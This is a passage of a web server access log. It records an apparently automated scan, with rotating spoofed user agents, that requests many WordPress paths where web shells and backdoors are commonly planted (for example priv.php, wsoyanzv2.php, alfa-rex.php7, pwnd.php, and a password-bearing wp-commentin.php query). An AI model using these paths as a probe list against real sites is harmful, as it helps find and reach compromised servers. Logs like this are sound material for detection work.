(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:07 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:07 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:07 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:08 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:08 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:08 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:08 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:09 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:10 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) 